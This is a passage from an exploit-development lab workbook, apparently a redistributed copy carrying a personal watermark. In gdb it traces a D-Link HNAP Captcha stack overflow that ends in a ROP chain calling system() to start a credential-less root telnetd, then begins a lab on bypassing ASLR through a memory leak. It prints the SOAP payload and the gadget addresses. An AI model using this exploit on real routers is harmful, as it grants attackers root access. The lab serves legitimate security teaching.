(gdb) !ps aux | grep hnap

Debugging an overflow in hnap


24356915
Let's attach to the httpd service again. This time let's watch the overflow occur in the vulnerable function.

 Note

Paul Erwin
If you are still in gdb, you will need to exit the old session with the quit command.

Thread 2.1 "hnap" received signal SIGSEGV, Segmentation fault.


[Switching to process 7170]
0x42424242 in ?? ()
(gdb) quit
A debugging session is active.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Inferior 2 [process 7170] will be detached.

Quit anyway? (y or n) y
Detaching from program: /home/nemo/dlink_rootfs/htdocs/cgibin, process 7170
[Inferior 2 (process 7170) detached]

nemo@dogfish:~$ ps aux | grep httpd


root
nemo
5529 0.0 0.3
6274 0.0 0.0
4736 3456 ?
6764 560 pts/1
live
S
S+
11:49
14:48
0:00 httpd -f /var/run/httpd.conf
0:00 grep --color=auto httpd

nemo@dogfish:~$ sudo gdb --pid 5529


[sudo] password for nemo:
...
Attaching to process 5529

© Hungry Hackers, LLC 135


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Reading symbols from /home/nemo/dlink_rootfs/sbin/httpd...
(No debugging symbols found in /home/nemo/dlink_rootfs/sbin/httpd)

0xb6f77a6c in ?? ()

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb)

You may notice that the httpd process has the same process id. This is because the httpd service never crashed. Only the
hnap (cgibin) child process crashed after it was started by httpd.

We will follow the same procedure and break at address 0xbbb8 and continue execution.

micede1865@wii999_com
(gdb) b * 0xbbb8
Breakpoint 1 at 0xbbb8
(gdb) c
Continuing.

Now, from the hammerhead vm, launch the exploit.py script.

nemo@hammerhead:~/labs/dlink$ python exploit.py

[+] Sending to 192.168.2.22 on port 80: 24356915


<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/
XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>something</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>
Paul Erwin
<Captcha>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
usr/sbin/telnetd&</Captcha>
</Login>
</soap:Body>

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
</soap:Envelope>

We should hit our breakpoint in gdb. This time we are going to issue two commands.

We will:

• Set the follow-fork-mode setting in gdb to follow the child process hnap (cgibin) so that when this child process gets
started, gdb will detach from the parent (httpd) and start debugging the child process hnap (cgibin).
live
• Set a new breakpoint that will pause execution while we are in the hnap process. We are setting this breakpoint while
still in the httpd process, but that is ok, gdb will remember this, and it will carry over into the child process.

The new breakpoint will be at address 0x18e2c. This is the vulnerable function we looked at previously in the cgibin binary
("hnap" process).

136 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


(gdb) set follow-fork-mode child
(gdb) b * 0x18e2c
Breakpoint 2 at 0x18e2c
(gdb) c

09b91222e5d2d3d668cf8e52ec5d35ba
After continuing, gdb will follow the child process and hit the breakpont at 0x18e2c.

(gdb) c
Continuing.
[Attaching after process 5529 fork to child process 6026]
[New inferior 2 (process 6026)]

micede1865@wii999_com
[Detaching after fork from parent process 5529]
[Inferior 1 (process 5529) detached]
process 6026 is executing new program: /home/nemo/dlink_rootfs/htdocs/cgibin
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
[Switching to process 6026]

Thread 2.1 "hnap" hit Breakpoint 2, 0x00018e2c in ?? ()


(gdb)
24356915
We are going to call the function at this address parseSoapParameter_00018e2c and its parameters are as follows:

parseSoapParameter_00018e2c(char *input,char *tag_name,char *dest)

We should be able to view char * variables with the x/s (examine string) command in gdb.
Paul Erwin
Since we are at the beginning of this function, we should be able to see the arguments in r0, r1, and r2.

(gdb) x/s $r0


0x37670: "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/
2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://
schemas.xmlsoap.org/soap/env"...

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) x/s $r1
0x2b8a8: "Action"

(gdb) x/64bx $r2


0xbefff6f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbefff6f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbefff700: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbefff708: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbefff710: 0x00
0xbefff718: 0x00
0xbefff720: 0x00
0x00
0x00
0x00
0x00
0x00
0x00
0x00
0x00
0x00
live
0x00
0x00
0x00
0x00
0x00
0x00
0x00
0x00
0x00
0x00
0x00
0x00
0xbefff728: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

© Hungry Hackers, LLC 137


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


In the output above, we see:

• r0 shows the full input from our web request

09b91222e5d2d3d668cf8e52ec5d35ba
• r1 shows the parameter or tag that this function is going to parse

• We use x/64bx $r2 to show 64 bytes starting at the r2 value since it is the destination for the parsing which occurs
during this function and shouldn't hold any data yet

If you recall, "Action" is one of the first parameters in our SOAP request.

<Action>something</Action>

micede1865@wii999_com
<Username>Admin</Username>
<LoginPassword></LoginPassword>

<Captcha>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
usr/sbin/telnetd&</Captcha>

This function will parse out "something" from the Action parameter. It will get called again to parse out Username,

24356915
LoginPassword, and Captcha. Let's observe this. By continuing, we can see the same breakpoint get hit multiple times.

(gdb) c
Continuing.

Thread 2.1 "hnap" hit Breakpoint 2, 0x00018e2c in ?? ()


(gdb) x/s $r1
0x2b8b0: "Username"
(gdb) c
Continuing. Paul Erwin
Thread 2.1 "hnap" hit Breakpoint 2, 0x00018e2c in ?? ()
(gdb) x/s $r1
0x2b8bc: "LoginPassword"
(gdb) c
Continuing.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Thread 2.1 "hnap" hit Breakpoint 2, 0x00018e2c in ?? ()
(gdb) x/s $r1
0x2b8cc: "Captcha"
(gdb)

Now, we are stopped where this function is going to parse out the input between "Captcha" and "/Captcha". However, due
to the vulnerability, the local stack buffer cannot hold this much data and there are no bounds checks preventing us from

live
copying it in. Here is a copy of the vulnerable function again from ghidra's decompiler that has been labeled.

138 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

See the Introduction to Ghidra lab, if you would like to find this function and look at it in the cgibin binary. You can find it at

09b91222e5d2d3d668cf8e52ec5d35ba
address 0x18e2c. The variable and function names (labels), and comments will not be set unless you do this yourself with the 'l'
(lower-case L) hotkey.

char * parseSoapParameter_00018e2c(char *input,char *tag_name,char *dest)

{
char end_tag [1024];

micede1865@wii999_com
char start_tag [1024];
char buffer [1024];
char *tag_data_len;
char *offset;
char *tag_data_offset;
int start_tag_len_plus_1;
size_t start_tag_len;

sprintf(start_tag,"<%s>",tag_name);
sprintf(end_tag,"</%s>",tag_name);
start_tag_len = strlen(start_tag);
24356915
start_tag_len_plus_1 = start_tag_len + 1;
offset = strstr(input,start_tag);
if (offset != (char *)0x0) {
tag_data_offset = offset + start_tag_len;
offset = strstr(tag_data_offset,end_tag);
if ((offset != (char *)0x0) &&

Paul Erwin
(tag_data_len = offset + -(int)tag_data_offset, -1 < (int)tag_data_len)) {
/* vulnerable strncpy */
strncpy(buffer,tag_data_offset,(size_t)tag_data_len);
buffer[(int)tag_data_len] = '\0';
offset = strcpy(dest,buffer);
}
}
return offset;

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
}

The problem here is the strncpy that copies into buffer[1024]. This is a fixed size buffer located on the stack and we have
sent in more input than what it can hold via our exploit.py script.

strncpy(buffer,tag_data_offset,(size_t)tag_data_len);

live
The tag_data_offset and tag_data_len variables are based on results of the parsing that is done earlier in the function. The
tag_data_offset should point to the beginning of our A's.

© Hungry Hackers, LLC 139


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Notice

Just like the vulnerabilities in our sample programs, we can see how the fundamental problems can show up in real-world

09b91222e5d2d3d668cf8e52ec5d35ba
scenarios.

Let's set a breakpoint before and after the strncpy to view the overflow. Currently, our program counter (pc) is at the
beginning of the function.

If we examine some instructions starting with pc, we will eventually see the call to strncpy in this function.

 Note micede1865@wii999_com
Don't mistake strcpy for strncpy. For this vulnerability, strncpy is what we want to observe.

You may need to hit enter a few times to scroll down until you see the bl to strncpy.

0x18f4c: bl 0x94c4 <strncpy@plt>


0x18f50: movw r3, #64492 ; 0xfbec
24356915
This is where we want to set our breakpoints. Let's set them before and after the bl instruction and then continue.

(gdb) b * 0x18f4c
Breakpoint 3 at 0x18f4c
(gdb) b * 0x18f50
Breakpoint 4 at 0x18f50
(gdb) c
Paul Erwin
Continuing.

Thread 2.1 "hnap" hit Breakpoint 3, 0x00018f4c in ?? ()


(gdb)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
After continuing, we should break on the call to strncpy. Let's observe a few things.

The strncpy function prototype looks like this. You can run man strncpy from a shell to verify this.

char *strncpy(char *dest, const char *src, size_t n);

If we look at the registers, we see the destination, source, and max size.

(gdb) i r
r0 0xbeffeecc 3204443852
live
r1 0x377ea 227306
r2 0x436 1078

140 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Here we see that r0 (0xbeffeecc) is the destination. This is the address of what we call "buffer" in the ghidra output above
and is a local stack variable.

Next we see the address of the source data. R1 points to the address 0x377ea. Let's view that.
09b91222e5d2d3d668cf8e52ec5d35ba
 Note

Your addresses may vary.

0x377ea:
micede1865@wii999_com
(gdb) x/s $r1
'A' <repeats 200 times>...

Gdb is being concise and is showing us that there are a lot of A's. The length in the r2 variable shown above shows us the
value 0x436 or 1078 decimal. Let's look at this in gdb with the x/bx command and specify the length of 1078.

(gdb) x/1078bx $r1


0x377ea: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x377f2:
0x377fa:
0x37802:
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
24356915
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41

This is the parsed value of our parameter and if you hit enter multiple times, you will see all of our input.

0x37bb2: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41


0x37bba:
0x37bc2:
0x37bca:
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
Paul Erwin
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x41
0x37bd2: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x37bda: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x37be2: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x37bea: 0xff 0xff 0xff 0xff 0x43 0x43 0x43 0x43
0x37bf2: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x37bfa:
0x37c02:
0x37c0a:
0x43
0x98
0xb8
0x43
0x62
0xec
0x43
0xf9
0xfb
0x43
0xb6
0xb6
0x43
0x70
0x2f
0x43
0x82
0x75
0x43
0xfd
0x73
0x43
0xb6
0x72
0x37c12: 0x2f 0x73 0x62 0x69 0x6e 0x2f 0x74 0x65
0x37c1a: 0x6c 0x6e 0x65 0x74 0x64 0x26
(gdb)

If we look at the end of this input, we can break it down as follows:

• bunch of AAAA's live


• 0xffffffff (at address 0x37bea)

• bunch of C's (20 of them)

• 0xb6f96298 (little endian, at address 0x37c02)

© Hungry Hackers, LLC 141


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


• 0xb6fd8270

• 0xb6fbecb8

• Some ascii characters starting at 0x37c0e. This is our command string.


09b91222e5d2d3d668cf8e52ec5d35ba
This data corresponds with what we chained together in the exploit.py script and corresponds with a simple rop chain that
gets copied onto the stack.

• AAAA's

• 0xfffff

• 20 C's
micede1865@wii999_com
• gadget1 0xb6f96298

• system (0xb6fd8270)

• gadget 2 (0xb6fbecb8)

• command string

24356915
We can view the gadget instructions with the following commands.

(gdb) x/i 0xb6f96298


0xb6f96298: pop {r3, pc}

This is gadget1 and will be the first rop gadget that gets executed once we gain control by overwriting the stored lr. It will

Paul Erwin
pop the address for system into r3 and pop gadget2 into pc.

(gdb) x/2i 0xb6fbecb8


0xb6fbecb8: mov r0, sp
0xb6fbecbc: blx r3

This is gadget2. It will move the address of sp, which now points to the command string into r0, and then call r3 which is

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
the address of system that was stored there in the previous gadget.

This will execute the following and allow us to run an arbitrary shell command on the system.

system(<our command string>)

In this example we executed /usr/sbin/telnetd& and start the telnet service, allowing us to login with root privileges

live
and without providing any credentials. We can view this by looking at our string in the input. It starts at 0x37c0e.

(gdb) x/s 0x37c0e


0x37c0e: "/usr/sbin/telnetd&</Captcha>\n </Login>\n </soap:Body>\n</soap:Envelope>\n"

Since the strncpy hasn't occured yet, we still see the Captcha tag along with the rest of the string.

142 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Observing the saved lr overwrite

At this point, we are still sitting at the breakpoint just before the strncpy is executed. The saved lr is at address 0xbefff2e4

09b91222e5d2d3d668cf8e52ec5d35ba
and can be observed using the following command. We look at some of the surrounding addresses just to highlight the
overflow that occurs after the call to strncpy.

(gdb) x/4wx 0xbefff2e0


0xbefff2e0: 0xbefff9c4 0x000197cc 0x00000000 0x00000000

Finally, let's continue execution and overflow the stack buffer, and overwrite the saved lr value of 0x197cc.

micede1865@wii999_com
(gdb) x/2i $pc
=> 0x18f4c: bl 0x94c4 <strncpy@plt>
0x18f50: movw r3, #64492 ; 0xfbec

(gdb) c
Continuing.

24356915
Thread 2.1 "hnap" hit Breakpoint 4, 0x00018f50 in ?? ()
(gdb)

Here we view 2 instructions to show where we are at and we then continue execution which gets us to the breakpoint just
after the strncpy function has returned.

Now, let's check out that saved lr again.

(gdb) x/16wx 0xbefff2e0


0xbefff2e0: 0x43434343 0xb6f96298
Paul Erwin
0xb6fd8270 0xb6fbecb8
0xbefff2f0: 0x7273752f 0x6962732f 0x65742f6e 0x74656e6c
0xbefff300: 0x00002664 0x00000000 0x00000000 0x00000000
0xbefff310: 0x00000000 0x00000000 0x00000000 0x00000000

The address of the saved lr was 0xbefff2e4. That has now been overwritten with gadget1's address 0xb6f96298 and we

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
see the rest of our rop chain followed by the command string.

• 0xb6f96298 gadget1

• 0xb6fd8270 system

• 0xb6fbecb8 gadget2

• 0xbefff2f0 command string

While we are here, we can view the command string.


live
(gdb) x/s 0xbefff2f0
0xbefff2f0: "/usr/sbin/telnetd&"
(gdb)

© Hungry Hackers, LLC 143


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


If we continue execution, our rop chain will take over and the telnetd process will start via the system function call.

Before continuing, delete your breakpoints

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) del
Delete all breakpoints? (y or n) y

(gdb) c
Continuing.
[Attaching after process 6026 vfork to child process 16896]
[New inferior 3 (process 16896)]
[Detaching vfork parent process 6026 after child exec]

micede1865@wii999_com
[Inferior 2 (process 6026) detached]
process 16896 is executing new program: /home/nemo/dlink_rootfs/bin/busybox
[Attaching after process 16896 vfork to child process 16897]
[New inferior 4 (process 16897)]
[Detaching vfork parent process 16896 after child exec]
[Inferior 3 (process 16896) detached]
process 16897 is executing new program: /home/nemo/dlink_rootfs/usr/sbin/telnetd

Success!!! We see telnetd executing.


24356915
 Note

If you ran the exploit.py previously, telnetd should already be running and you may see some errors related to this. However, if you
see the new process starting up, you have successfully leveraged the buffer overflow and executed arbitrary code on the target.

Detach from the process by using ctl-c.


Paul Erwin
ctl^c
Thread 4.1 "telnetd" received signal SIGINT, Interrupt.
0xb6f954c8 in ?? ()
(gdb) quit

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
A debugging session is active.

Inferior 4 [process 16897] will be detached.

Quit anyway? (y or n) y
Detaching from program: /home/nemo/dlink_rootfs/usr/sbin/telnetd, process 16897
[Inferior 4 (process 16897) detached]

Summary live
In this lab, we launched an exploit against a remote buffer overflow vulnerability. The exploit takes advantage of a strncpy
into a fixed size buffer. There is no check on the size of the input allowing us to over write past the stack buffer and
overwrite the saved lr.

144 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Optionally, we used gdb to follow the child process and observe the overflow in the vulnerable function.

Dlink Challenge
09b91222e5d2d3d668cf8e52ec5d35ba
Use another parameter besides "Captcha" for this exploit.

Hint:
Make a copy of the existing exploit.py file.

Challenge Answer Key

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© Hungry Hackers, LLC 145


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 11: Memory Leak

09b91222e5d2d3d668cf8e52ec5d35ba
Background

ASLR can be a devastating exploit mitigation. Without knowledge of the memory layout, attackers don't know what
addresses to use in their payloads. Memory leaks can potentially provide enough information to piece together an
effective exploit. In this lab we use a staged memory leak in order to demonstrate how they can be leveraged to bypass
ASLR.

Objectives
micede1865@wii999_com
• Finding the base address of a memory segment given a leaked address

• Using tools to find the offset of items within a memory segment (readelf, objdump, radare2)

24356915
• Calculating required addresses in order to build a ROP chain to defeat ASLR

Lab Preparation

 Note

This lab will be done in the mako vm.


Paul Erwin
Accessing the mako vm

• Login to the hammerhead virtual machine using the credentials below.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo

• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

• While in the terminator window console, navigate to the ~/qemu/mako folder.

live
• Use the command sudo start_mako.sh to start the mako virtual machine.

• When prompted, use the password: nemo

nemo@hammerhead:~$ cd qemu/mako

146 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh
[sudo] password for nemo:

• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux

09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.

micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0

mako login:

• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the mako vm.


24356915
• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/mako$ ssh mako


nemo@192.168.2.10's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@mako:~$

Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

Check the system for ASLR

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Change into the ~/labs/leak folder.

nemo@mako:~$ cd labs/leak

This vm is setup so that ASLR is off by default. To view the status of ASLR, issue the following command. If the result is 0,
ASLR is turned off.

live
nemo@mako:~/labs/leak$ cat /proc/sys/kernel/randomize_va_space
0

We want ASLR turned on for this lab. Run the following commands and use the password nemo when prompted.

nemo@mako:~/labs/leak$ sudo -i
[sudo] password for nemo:

© Hungry Hackers, LLC 147


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


root@mako:~# echo 2 > /proc/sys/kernel/randomize_va_space

root@mako:~# cat /proc/sys/kernel/randomize_va_space

09b91222e5d2d3d668cf8e52ec5d35ba
2

root@mako:~# exit
logout

nemo@mako:~/labs/leak$

micede1865@wii999_com
Testing the leak program

Have a look at the source code for our target binary, leak.

nemo@mako:~/labs/leak$ cat src/leak.c

This program will wait for user input and respond to a small set of commands (dir, clue, exit, and reload). Give it a try. Run
leak and issue 2 test commands.
24356915
nemo@mako:~/labs/leak$ ./leak

Enter a command: dir


total 24
-rw-rw-r-- 1 nemo nemo 132 Mar 20 11:53 config.txt
-rw-rw-r-- 1 nemo nemo 873 Mar 20 11:48 exploit.py
-rwxrwxr-x 1 nemo nemo 8456 Mar
drwxrwxr-x 2 nemo nemo 4096 Mar
20
20 Paul Erwin
11:44
12:59
leak
src

Enter a command: exit

The leak program's clue command is designed to simulate a memory leak. Having a valid runtime address can allow us

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
to calculate the additional addresses we need to bypass ASLR. The clue command will dump the address of the
memmove function.

 Note

Since we turned on ASLR, the address of memmove will be different every time the process restarts.

live
Try running the program and exiting a few times. Be sure to issue the clue and exit commands.

nemo@mako:~/labs/leak$ ./leak

Enter a command: clue


The address of memmove is: 0xb6e99310

148 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Enter a command: exit

nemo@mako:~/labs/leak$ ./leak

09b91222e5d2d3d668cf8e52ec5d35ba
Enter a command: clue
The address of memmove is: 0xb6e42310

Enter a command: exit

nemo@mako:~/labs/leak$ ./leak

micede1865@wii999_com
Enter a command: clue
The address of memmove is: 0xb6ed9310

Enter a command: exit

Notice the subtle changes in the memmove address every time the process restarts.

24356915
Throwing an exploit without knowing the correct runtime addresses of our shellcode, gadgets, functions, etc would result
in a failed attempt and likely crash the process.

Understanding the memmove offset

Looking at the leak binary using the file command, we see that it is dynamically linked.

nemo@mako:~/labs/leak$ file leak


Paul Erwin
leak: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/
ld-linux-armhf.so.3, BuildID[sha1]=baa85246652a66fc916169eb6dddc8e556652f00, for GNU/Linux 3.2.0, not
stripped

There is no memmove function in leak.c, so let's look at the other shared objects required by leak and find out where

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
these files are located on the filesystem. Once we locate the shared object files, we can check to see which one has the
memmove function.

The ldd command shows the dependencies (shared object files) of an ELF.

nemo@mako:~/labs/leak$ ldd leak


linux-vdso.so.1 (0xbed2d000)

live
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xb6e5f000)
/lib/ld-linux-armhf.so.3 (0xb6f6f000)

nemo@mako:~/labs/leak$ ls -lh /lib/arm-linux-gnueabihf/libc.so.6


lrwxrwxrwx 1 root root 12 Dec 16 06:04 /lib/arm-linux-gnueabihf/libc.so.6 -> libc-2.31.so

© Hungry Hackers, LLC 149


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The libc is the standard C library and holds many common functions. In the snippet above, we use the ls -lh command
to see that libc.so.6 is just a symbolic link to another file libc-2.31.so found in the same directory (/lib/arm-linux-
gnueabihf).

09b91222e5d2d3d668cf8e52ec5d35ba
Using the readelf tool, we can view all symbols that get exported by a shared object. Since the required libc shared
object will be loaded into memory when the leak process starts up, the exported symbols will be accessible during
runtime.

The C library is pretty big. Let's run readelf -s on the shared object file.

micede1865@wii999_com
readelf -s /lib/arm-linux-gnueabihf/libc-2.31.so
Symbol table '.dynsym' contains 2343 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 0001a600 0 SECTION LOCAL DEFAULT 14
2: 000fa1d0 0 SECTION LOCAL DEFAULT 28
...

24356915
There is a lot of output there. Let's narrow it down and look for the memmove function by running it again, but this time
using a couple of grep commands piped at the end.

nemo@mako:~/labs/leak$ readelf -s /lib/arm-linux-gnueabihf/libc-2.31.so | grep FUNC | grep memmove


1175: 0001ac49 4 FUNC GLOBAL DEFAULT 14 __aeabi_memmove4@@GLIBC_2.4
1185: 0001ac49 4 FUNC GLOBAL DEFAULT 14 __aeabi_memmove8@@GLIBC_2.4
1208: 000aa1bd 14 FUNC GLOBAL DEFAULT 14 __memmove_chk@@GLIBC_2.4
2016: 000aacad 16 FUNC GLOBAL DEFAULT 14 __wmemmove_chk@@GLIBC_2.4
2090: 0005f310
2153: 0001ac49
2299: 0006504d
832
4
6
FUNC
FUNC
FUNC
Paul Erwin
GLOBAL DEFAULT
GLOBAL DEFAULT
WEAK DEFAULT
14 memmove@@GLIBC_2.4
14 __aeabi_memmove@@GLIBC_2.4
14 wmemmove@@GLIBC_2.4

In the output above, the second column shows us the offset for memmove@@GLIBC_2.4 is 0x5f310. Some of the other
entries are similar, but this is the one we are looking for. The 'objdump' tool can also be used to accomplish this.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Finding the base of libc

How does this help us? If we can leak the runtime address of memmove , then we can calculate the runtime base address
of libc. We can do this because the offset for memmove within libc will always be the same.

Once we have the base address of libc, we can calculate the addresses of other points of interest within libc using their

live
offsets. First, let's focus on getting the base address of libc.

ASLR shifts the base address of libc and other segments loaded in memory. In this case, we are talking about the base
address of the executable segment of libc within our process. Everything loaded within the segment is still relative to the
base address. In other words, not everything within the segment is scrambled, only the base address gets shifted and
everything within the segment stays relative to the base.

150 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

This shift is sometimes referred to as a "slide."

09b91222e5d2d3d668cf8e52ec5d35ba
Using the memory leak, how do we figure out the base address of libc? Well, so far we know:

• the address of memmove (thanks to the leak)

• the offset from the base of libc to memmove is 0x5f310 (we found using the readelf command)

The offset doesn't change unless the file itself changes, so as long as we are using this version of libc-2.31.so, the offset
micede1865@wii999_com
of memmove will be 0x5f310. Let's verify this.

nemo@mako:~/labs/leak$ ./leak

Enter a command: clue


The address of memmove is: 0xb6e99310

Enter a command: 24356915


The address of memmove is 0xb6e99310 in this example. We can run the clue command multiple times and as long as
we don't restart the process, the address of memmove will stay the same. Now, since the offset of the memmove function
within libc is 0x5f310, we should be able to subtract 0x5f310 from the memmove address and that should be the base of
libc. You can use python in a separate window to do some math to calculate this.

 Note
Paul Erwin
If you are using the terminator console, ctrl+shift+o will split your screen below and ctrl+shift+e will split your screen to the right
giving you another terminal. Optionally, ctrl+shift+t will create a new tab. However, the new split window or new tab will be in the
hammerhead vm, not in mako.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/qemu/mako$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xb6e99310-0x5f310)
'0xb6e3a000'

live
Using this calculation, we see the base address for the code section of libc shoud be 0xb6e3a000.

Let's verify this by reading the memory map for the leak process. To do this, we need to be connected to the mako vm.
Open another terminal window, or split one in terminal and make a second connection to mako from hammerhead via
ssh.

© Hungry Hackers, LLC 151


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

If you are following along, your memmove address and calculated address should be different. Also, do not exit the process when

09b91222e5d2d3d668cf8e52ec5d35ba
doing this exercise, or else you need to use the new memmove address to recalculate the base of libc.

(In a separate console window)

nemo@hammerhead:~$ ssh mako


nemo@mako's password:
...
nemo@mako:~$
micede1865@wii999_com
Now that we are in mako with a second ssh session, run the ps aux command and look for the process id of the leak
process. This will be different on your system.

 Warning

24356915
If you have more than one instance of leak running, kill all but one instance to ensure you are using the correct process map.

nemo@mako:~$ ps aux | grep leak


nemo 1600 0.0 0.0 1420 372 pts/0 S+ 13:58 0:00 ./leak
nemo 1760 0.0 0.0 6764 520 pts/1 S+ 14:14 0:00 grep --color=auto leak

Paul Erwin
The second column of the first entry shows that the process id for leak is 1600, which we will use to look at the process
map.

 Note

If you are running leak as root, you will not be able to see the process map if you are trying to check the process map as the nemo
user.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
To view the process map for leak, run the following command. We use /proc/1600/maps since 1600 was the process id
for leak that we identified earlier.

nemo@mako:~$ cat /proc/1600/maps


00437000-00438000 r-xp 00000000 00:32 2230705 /home/nemo/labs/leak/leak
00447000-00448000 r--p 00000000 00:32
00448000-00449000 rw-p 00001000 00:32
00bbf000-00be0000 rw-p 00000000 00:00
2230705
2230705
0
live/home/nemo/labs/leak/leak
/home/nemo/labs/leak/leak
[heap]
b6e3a000-b6f23000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f23000-b6f32000 ---p 000e9000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f32000-b6f34000 r--p 000e8000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f34000-b6f36000 rw-p 000ea000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
b6f36000-b6f38000 rw-p 00000000 00:00 0

152 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


